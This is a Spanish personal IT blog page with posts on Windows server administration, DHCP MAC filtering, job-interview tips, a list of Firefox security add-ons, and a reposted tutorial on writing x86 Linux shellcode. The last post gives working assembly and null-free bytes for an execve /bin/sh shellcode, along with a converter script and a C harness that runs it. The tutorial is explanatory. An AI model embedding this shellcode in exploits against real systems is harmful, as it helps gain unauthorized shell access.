Mi límite entre lo monótono y la aventura...

Banner 468

Inicio
RSS

Admintools 2008

Las Herramientas de administración remota del servidor para Windows® 7 con SP1 permiten a los administradores de TI administrar funciones y características instaladas en equipos que ejecutan Windows Server® 2008 R2, Windows Server® 2008 o Windows Server® 2003 desde un equipo remoto que ejecuta Windows 7 o Windows 7 con SP1.


Link descarga
[ Leer más ]

Filtrar Direcciones MAC en el DHCP de Windows Server 2003

Hasta hoy no me había surgido la necesidad de implementar una solución que requiriese filtrado MAC mediante DHCP en win 2003/2008.  Windows 2008 R2 ya incluye esta solución, en cambio para 2003 y 2008, hay que hace lo que describe el siguiente artículo.

El servicio DHCP en Windows 2003 Server no tiene la posibilidad en primera instancia de realizar un filtrado por direcciones MAC, es decir, no se le puede especificar que clientes pueden o no adquirir una dirección IP dentro de la LAN.

En el servicio se puede crear una reserva, que ofrece la posibilidad de asignar la misma dirección IP a una dirección MAC determinada, pero esto no ofrece un nivel de seguridad que garantice que clientes que no pertenecen a la organización se conecten a la red y puedan hacer uso de algún servicio que no esté restringido.

Para esto se puede utilizar un complemento que se llama DHCP Server Callout DLL, liberado por el Equipo de Desarrollo DHCP de Microsoft especialmente para Win 2008 Server, pero se puede utilizar en un Win 2003.

Les dejo el enlace para descargar el archivo comprimido que contiene el paquete instalador .MSI para arquitecturas x64 y x86

Despues de instalar el complemento (no es necesario reiniciar el S.O), el archivo de la documentación: SetupDHCPMacFilter.rtf, queda ubicado en la carpeta %SystemRoot%\system32, normalmente es C:\WINDOWS\system32, en servidores x86.

Luego, en el directorio donde se ubican las opciones del DHCP ( C:\WINDOWS\system32\dhcp), aparecen tres nuevos archivos producto de la instalación:


El archivo MACList.txt es en el cual se colocan las direcciones MAC y según el parámetro MAC_ACTION, se permite o se niega una Dirección IP para estos clientes, cabe anotar que solo se permite una acción en el archivo, o todas las MAC reciben una IP o a todas se les niega, no se permiten las dos opciones al mismo tiempo.
Un ejemplo de la estructura de este archivo es la siguiente:



Cuando se añade una nueva dirección MAC se debe reiniciar el servicio DHCP.
En el visor de sucesos de Windows, debe quedar un evento especificando que una librería de tipo callout fue cargada con éxito, de esta manera, nos damos cuenta que el filtrado se está cumpliendo.



Link: Aquí
[ Leer más ]

Las 5 aplicaciones indispensables en tu android y como activar la búsque...

[ Leer más ]

Armar conexión VPN en windows 7 starter

Set up a remote connection to your workplace using VPN

From another location, you can connect to a workplace network or another network by using a virtual private network (VPN) connection. Ask your network administrator for the name of the VPN server before you open the wizard.
  • Open the Connect to a Workplace wizard by clicking the Start button Picture of the Start button, and then clicking Control Panel. In the search box, type network, click Network and Sharing Center, click Set up a connection or network, and then click Connect to a workplace.
[ Leer más ]

Marketing Personal

Hace poco dí con este nuevo tipo de técnica denominada "Marketing personal", la cual trata de que uno se venda/muestre con casi las mismas técnicas que las del Marketing normal por así decirlo a groso modo.
Quizás esta técnica tenga ya su buen tiempo, pero no todos la conocen o mejor aún, saben hacer uso de la misma.

El Marketing personal debería de ser la herramienta que "Nos diferencie de los demás".  Con esta resumida frase comienzo el verdadero post.



Diferenciate!


La entrevista es la herramienta mediante la cual las empresas reclutan "personas" y logran separar el talento de lo que llaman "montón".  Esta situación en la que ocupamos el banquillo de "candidato", es el mejor y único momento para sobresalir, ya que nos permite vendernos y diferenciarnos de aquellos otros candidatos que buscan el mismo puesto.

Recalco mucho la idea de "diferenciarnos", ya que es eso lo que va a posibilitar poder seguir o ser rechazados.  Las maneras de lograr diferenciarnos son muchas y parten desde la base de la respuesta a la siguiente pregunta "En que soy lo mejor, o me distingo del resto?".  Esta punta, debería de ser el hilo conductor que nos lleve a armar un plan o estratégia para sobresalir por sobre otros.

"...Si todos hacemos lo mismo, somos todos iguales..."


Con la entrevista no solo se chequea el contenido del CV.  También evalúa nuestra presencia, habilidades de comunicación y personalidad.

Si hemos recibido un llamado por entrevista, primer gran paso! Ya nos hemos diferenciado de unos cuantos, y vamos camino a lo que podría ser nuestro futuro trabajo.  

Como prepararse para una entrevista? 
Ir preparados, ya es otra forma de destacarse.  Uno va con más seguridad y se perfila con otra actitud aún cuando los nervios nos acompañan. 
De que maneras puede uno preparse? Veamos algunos casos comentados en cientos de artículos que hay por la red:

  • Investiga bien sobre la empresa y el sector para el que postulas.
  • Busca en internet a tu entrevistador a fin de ver con quien te estas por reunir y de paso recopilar datos para posibles conversaciones y así lograr mayor empatía. Al mismo tiempo reduce el stress de saber con quien nos vamos a encontrar.
  • Revisa tu  currículum. Mirá que puntos se adecuan a la búsqueda y cuales no.
  • Repasa las fechas.
  • Armate un speech o visualiza como sería la entrevista y que responderías a las típicas preguntas.
  • Practica ser concreto y utilizar ejemplos para las preguntas que te puedan hacer.
  • Ensayar con alguien o bien solo y frente al espejo. Esto permite pulir asperezas y ser más precisos.
  • Ensayar 3 debilidades, 3 fortalezas  y sus respectivas explicaciones/ejemplos
  • Repasar una situación laboral difícil y como la enfrentamos y resolvimos.
  • Repasar nuestros mayores Logros y como fue su desarrollo.
  • Pensar respuesta a la pregunta de "Como se ve Ud. de aquí a 5 años?"
  • Ir mentalizados con lo que queremos a futuro.
  • Saber hasta donde vamos a negociar.

Antes de Concurrir a la Entrevista:

  • Ver que tenemos una copia del CV con nosotros. (Llevarla de forma prolija) 
  • Ir vestidos acorde al lugar u ocasión.  "Una imagen vale más que mil palabras", y créanme no todos lo entienden.
  • Llevar los datos Dirección, teléfono y nombre del Entrevistador anotados en un papel, a fin de tenerlo a mamo, dentro de un bolsillo.  Los medios electrónicos pueden fallar.
  • Ubicar el lugar físico donde se realizará la misma. Ver que medios de transporte nos llevan hasta el lugar.  
  • Si vamos en coche, prever de encontrar una cochera ya que puede ocurrir que no tengamos donde dejar el vehículo.
  • Calcular el tiempo de viaje desde donde vayamos a estar hasta el lugar de la cita.
  • Si llegamos mucho antes, recorrer la cuadra y ver el edificio donde nos esperan a fin de ver si el acceso es sencillo o hay que presentarse en seguridad y dejar todos nuestros datos, lo que nos haría perder unos 5 minutos o más según como marche de rápido el asunto.
  • Si vemos que estamos demorados, no aguardar hasta la hora de la cita para dar aviso de esto. Conviene llamar a nuestro entrevistador unos 15 o 20 minutos antes y decir que estamos demorados pero en viaje.  Con esto demostramos que somos previsores y al mismo tiempo evitamos "en parte", dar la mala impresión de llegar tarde.


Llego la entrevista, y ahora?

Según mi experiencia más lo que fui leyendo, podría decir que los siguientes tips "ayudan" llegado el momento.


  • Sé puntual. 
  • Intenta llegar 10 minutos antes.  Esto te permite emprolijar tu presencia, y evitar cualquier situación inesperada de último minuto.
  • Llevar copia del currículum. Ofrecer el mismo en el momento de comenzar la entrevista.
  • Dar la mano de manera firme y segura.
  • Mostrar interés y entusiasmo pero sin exagerar.
  • Utiliza un tono de voz seguro y lo suficientemente alto y claro para que se nos escuche y comprenda bien.
  • Estar con postura cómoda pero formal. 
  • NO INTERRUMPIR. Siempre aguardar que el entrevistador termine de hablar y nos de pie a responder.  No mostrarnos ansiosos, por más que sepamos que con la respuesta nos vamos a comprar el puesto.
  • Sonreír cuando sea apropiado, muéstrate gentil, atento y espontáneo.
  • Hacer preguntas a fin de denotar interés.
  • Guardar preguntas para el final de la entrevista. 
  • Preguntar como continúa el proceso de selección.
  • Una vez que se esta dando por cerrada la entrevista, te quedan 3 minutos para diferenciarte del resto.  Pensá que podes decir para hacerte notar o terminar de convencer que no busquen más, que vos SOS EL CANDIDATO.



PREGUNTAS FRECUENTES
En internet hay cientos de "preguntas" que dicen de hacer en todas las entrevistas.  El caso es que solo alguna de ellas aplican, ya que si no sería demasiada extensa la cita.


  • Sonreír cuando sea apropiado, muéstrate gentil, atento y espontáneo.
  • Hacer preguntas a fin de denotar interés.
  • Guardar preguntas para el final de la entrevista.
  • ¿Por qué te interesa esta empresa? ¿Por qué te interesa el puesto/posición?
  • ¿Estuviste viendo información de la Empresa?
  • Decime 1 fortaleza y 1 debilidad tuya. Amplia cada una por favor.
  • Hablame de vos. ¿cómo te describirías
  • Descríbeme una situación difícil de tu trabajo actual o anterior y cómo la resolviste.
  • Contame de algún Logro que hayas tenido.
  • Hablame acerca de alguna dificultad con algún jefe y como lo resolviste. (Ojo con esta!)
  • ¿Cómo te ves de acá a 5 años?
  • ¿Por qué deberíamos de escogerte a vos en lugar de otro candidato? (La pregunta que puede hacer que el puesto SEA TUYO! Pero no suele aparecer muy a menudo.
  • (Si estamos trabajando) ¿Por qué estas en búsqueda de otro trabajo?
  • (Si no tenemos trabajo) ¿Por qué dejaste tu último trabajo?
  • ¿Cómo sería tu trabajo ideal? 
  • ¿Cómo te imaginas a tu jefe ideal?

Ojo con el humor! Es una buena herramienta pero hay que "saber" usarla, ya que nos puede jugar en contra.  Este junto a los nervios del momento, pueden dejarnos en una situación no esperada y arruinar todo el proceso.

Voy a dar un simple pantallazo de algo que muy pocos saben y que Uds. pueden profundizar navegando por internet o recurriendo a otro tipo de material.  
Nuestro entrevistador tiene bajo su manga muchísimas herramientas y metodologías para sacarnos de verdad a mentira.  No por nada Administración de RRHH es una carrera que demanda sus buenos años de estudio.  
Entre las metodologías de entrevista, existe lo que es el formato de Entrevista.  Estas metodologías que mostraré a continuación, permiten al entrevistador conducir toda la charla y sacarnos la mayor cantidad de información sin que lo notemos.

A tener en cuenta:

Durante la entrevista nos encontraremos con preguntas "abiertas" y "cerradas".  Que es esto? Simple, las preguntas abiertas son aquellas que se hacen para que uno pueda expresar libremente sus ideas. Tienen la ventaja de proporcionar riqueza de detalles y permiten que el entrevistador formule nuevas preguntas según como vayamos respondiendo.
Este tipo de preguntas a su vez, nos permite responder con espontaneidad, pero lo que en realidad ocurre, es que estan evaluando nuestro vocabulario.


Las preguntas cerradas, son aquellas en las cuales nuestra respuesta es más concreta y limitada. Ejemplo "SI, NO, De Acuerdo, en Desacuerdo".  Este tipo de respuestas concretas permiten al entrevistador tener el control y le ahorran tiempo. Su desventaja es que no nos permiten expresarnos y la información termina no siendo tan rica en detalles.

Hay 3 tipos de entrevistas:
  • Piramidal
  • Reloj de Arena
  • Rombo
  • Embudo

Piramidal: comienza con preguntas cerradas y concluye con preguntas abiertas.
Reloj de Arena:  Comienza con preguntas abiertas, se encaminan a cerradas y finaliza con abiertas.
Rombo: Comienza con preguntas cerradas, se encamina a preguntas abiertas y finaliza con preguntas cerradas.
Embudo: Comienza con preguntas abiertas y finaliza con cerradas.

Espero que les resulte útil.
Éxitos en sus búsquedas y que logren encontrar el trabajo de sus vidas!
[ Leer más ]

Mis Addons Preferidos de Firefox

Comparto con Uds. los addons que más utilizo en Firefox.  Las descripciones las tienen dentro de cada link, así como la opción de descarga.






Addons de Seguridad iT y Pentest

Passive REcon
https://addons.mozilla.org/mn/firefox/addon/passiverecon/

FoxyProxy
http://support.microsoft.com/kb/2505743

Https Everywhere
https://www.eff.org/https-everywhere

SQL Inject Me
https://addons.mozilla.org/en-us/firefox/addon/sql-inject-me/

Access Me
https://addons.mozilla.org/mn/firefox/addon/access-me/

Xss Me
https://addons.mozilla.org/en-us/firefox/addon/xss-me/

Add N Edit Cookies
https://addons.mozilla.org/en-us/firefox/addon/add-n-edit-cookies-13793/

Add & Edit Cookies +
https://addons.mozilla.org/en-us/firefox/addon/add-n-edit-cookies-92079/

Live Http Headers
https://addons.mozilla.org/en-us/firefox/addon/live-http-headers/

Network toosl (Router Status)
http://www.brothersoft.com/router-status-216375.html

Wot

https://addons.mozilla.org/es-ES/firefox/addon/wot-safe-browsing-tool/

Active Whois
https://addons.mozilla.org/es-ES/firefox/addon/active-whois-plugin-for-firefo/

WebDeveloper
https://addons.mozilla.org/es-ES/firefox/addon/web-developer/

User Agent Switcher
https://addons.mozilla.org/mn/firefox/addon/user-agent-switcher/

HackBar
https://addons.mozilla.org/mn/firefox/addon/hackbar/

FireCookie
https://addons.mozilla.org/mn/firefox/addon/firecookie

Tamper Data
https://addons.mozilla.org/mn/firefox/addon/tamper-data/

TorButton
https://addons.mozilla.org/mn/firefox/addon/torbutton

NoScript
https://addons.mozilla.org/en-us/firefox/addon/noscript/





Utilitarios Varios - (No de seguridad)

Adblock Plus
https://addons.mozilla.org/es-ES/firefox/addon/adblock-plus/

CoolPreviews
https://addons.mozilla.org/es-ES/firefox/addon/coolpreviews/

TooManyTabs
https://addons.mozilla.org/en-us/firefox/addon/toomanytabs-saves-your-memory/

Picnik
https://addons.mozilla.org/es-ES/firefox/addon/picnik/

Pixlr Grabber
https://addons.mozilla.org/es-ES/firefox/addon/pixlr-grabber/

Image Zoom
https://addons.mozilla.org/es-ES/firefox/addon/image-zoom/

Flash Got
https://addons.mozilla.org/es-ES/firefox/addon/flashgot/

DownThemAll
https://addons.mozilla.org/es-ES/firefox/addon/downthemall/

Download Status Bar
https://addons.mozilla.org/es-ES/firefox/addon/download-statusbar/

ColorZilla
https://addons.mozilla.org/es-ES/firefox/addon/colorzilla/

Febe (Backup Firefox extensions)
https://addons.mozilla.org/mn/firefox/addon/febe/

Reminder Fox
https://addons.mozilla.org/mn/firefox/addon/reminderfox

Capture Fox
https://addons.mozilla.org/mn/firefox/addon/capture-fox/


[ Leer más ]

Que es una ShellCode?

Encontre este excelente artículo cuando investigaba sobre xss.  Muy bien explicado, lo que lo hace más que entendible para cualquiera relacionado al tema.
Las fuentes como corresponde al final del mismo...
 

Que significa shellcode?
Primero necesitamos saber el significado etimologico de shellcode.
Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.
Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.

Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).

Como creamos una shellcode?
Generalmente se hacen en lenguaje ASM (assembler) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).
Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.
Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.
Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).


Código
Code (asm):
BITS 32 exit: xor ebx,ebx ;ponemos 0 como argumento de exit xor eax,eax ;limpiamos eax y ebx mov al,0x01 ;ponemos 1 en eax (es el codigo de la syscall exit) int 0x80 ;finalmente llamamos a la interrupcion  
Ahi hicimos nuesta primer "shellcode".

Como extraemos los bytes u opcodes?
Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:
~$ nasm exit.asm
si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con
~$ ndisasm-b 32 exit
y nos mostrara el desensamblado del codigo con sus respectivos opcodes:

00000000  31DB            xor ebx,ebx
00000002  31C0            xor eax,eax
00000004  B001              mov al,0x1
00000006  CD80              int 0x80


Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:

Código
Code (python):
#!/usr/bin/python from binascii import * import sys   files = {} length = []   def write(string): sys.stdout.write(string)   def process_file(file): source = open(file,"rb") write("char shellcode[]=\n\t\t") i = 1 l = 0 write("\"") for data in source.read(): write("\\x") write(b2a_hex(data)) if (i % 15)==0: write("\"\n\t\t\"") i+=1 l+=1 files[file[0:-4]]= l write("\";\n\n") source.close()   print("HDL Shellcode Lab - Bin to C") if(len(sys.argv)<2): exit(0) process_file(sys.argv[1])  
Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:


Código
Code (c):
char shellcode[]= "\x31\xdb\x31\xc0\xb0\x01\xcd\x80";  

Como probar las shellcodes?
Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:


Código
Code (c):
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode int main (int argc, char *argv[]) {  int (*run)();   //puntero a una funcion  run = shellcode; //asignamos la direccion de la shellcode al puntero  run();  // y la ejecutamos }  
Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.

Una shellcode mas compleja
Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.


Código
Code (asm):
BITS 32        xor  eax,eax        push eax        push dword 0x68732f6e ;ponemos a /bin/sh en la pila                          push dword 0x69622f2f        mov  ebx,esp     ;y le damos la direccion de /bin/sh a ebx       xor  edx,edx        push edx ;ponemos el resto de los argumentos en la pila          push ebx        mov ecx,esp        mov al,0x0b ;llamamos a la syscall 0x0b (execve)                    int 0x80  
Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:


Código
Code (c):
char shellcode[]= "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";  
Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre  bad chars )
Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.

Fuente: HDLC
[ Leer más ]